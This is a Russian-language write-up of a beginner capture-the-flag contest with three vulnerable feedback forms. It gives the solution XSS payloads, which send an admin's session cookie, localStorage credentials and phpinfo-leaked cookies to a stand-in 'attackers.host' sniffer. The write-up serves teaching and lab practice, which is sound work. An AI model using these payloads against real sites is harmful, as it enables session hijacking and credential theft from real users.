Недавно мы вместе с ребятами из Positive Technologies сделали небольшой хак-конкурс по взлому веба. В качестве приза было несколько инвайтов на PHDays VII. Сегодня кратко расскажем, в чем была суть требуемых атак.

Задача была простая: мы сделали три формы обратной связи. Каждая из них содержала типовые уязвимости веб-приложений. Взлом каждой в итоге давал участнику строку-флаг. Все задания были довольно простыми и были рассчитаны примерно на неделю.

Так выглядела одна из трех форм обратной связи, которую нужно было взломать
Так выглядела одна из трех форм обратной связи, которую нужно было взломать

Структура каждого таска была следующая:

  • ./feedback.php — форма обратной связи;
  • ./admin/ — форма авторизации в админку;
  • ./admin/preview.php — страница, где отображались сообщения из формы обратной связи, которые периодически читал админ. Доступ к ней требовал авторизации;
  • ./admin/flag.php — страница, на которой отображался флаг, доступ к ней тоже требовал авторизации. Доступ с IP администратора был запрещен.
 

Первое задание: cookie без http-only

Администратор имел сессионный cookie PHPSESSID. Флаг http-only был не установлен, поэтому к значению этого cookie легко можно было получить доступ средствами JavaScript.

XSS-пейлоад для решения:

<script>(new Image()).src = '//attackers.host/sniffer?'+document.cookie;</script>

После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер свой сессионный cookie. После чего следует установить их себе и посетить страницу ./admin/.

Если все сделано верно, страница переадресует на ./flag.php.

 

Второе задание: пароль в localStorage

Администратор имел сессионный cookie PHPSESSID, флаг http-only был установлен, через XSS его значение нельзя было получить. Но также у администратора в localStorage хранился логин и пароль для входа в открытом виде.

XSS-пейлоад для решения:

<script>(new Image()).src = '//attackers.host/sniffer?'+JSON.stringify(localStorage)</script>

После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер содержимое localStorage. После чего стоит ввести полученные логин и пароль в форму авторизации и забрать флаг со страницы ./admin/flag.php.

 

Третье задание: phpinfo()

Администратор имел сессионный cookie PHPSESSID, флаг http-only был установлен, через XSS его значение нельзя было получить напрямую. В директории с заданием лежал файл phpinfo.php. Из его названия можно догадаться, что в нем находилось. Интересен этот файл тем, что функция phpinfo(); возвращает множество отладочной информации, в том числе и cookie, неважно, содержат они флаг http-only или нет.


XSS-пейлоад для решения:

<script>
x = new XMLHttpRequest();
x.open('GET','../phpinfo.php');
x.onload = function(){
    (new Image()).src = '//attackers.host/sniffer?'+x.responseText.match(/<tr><td class="e">HTTP_COOKIE </td><td class="v">(.*)</td></tr>/m)[1]
}
x.send();
</script>

Так же как и в первом задании, после того как атакующий получит значение сессионного cookie, его следует установить в своем браузере и посетить страницу ./admin/ или ./admin/flag.php.

Мы старались сделать задания максимально простыми, но в то же время не банальные алерты или обходы фильтров. С виду ничего сложного, хорошая разминка для новичков.

Надеемся, тебе понравилось!

1 комментарий

  1. HiVaccessdenied

    20.06.2017 at 10:22

    Ясен пень, когда решение известно — ничего сложного 🙂

Оставить мнение

Check Also

А ты знал? 10 фактов о Python

Python — язык программирования с достаточно низким порогом вхождения, поэтому его часто вы…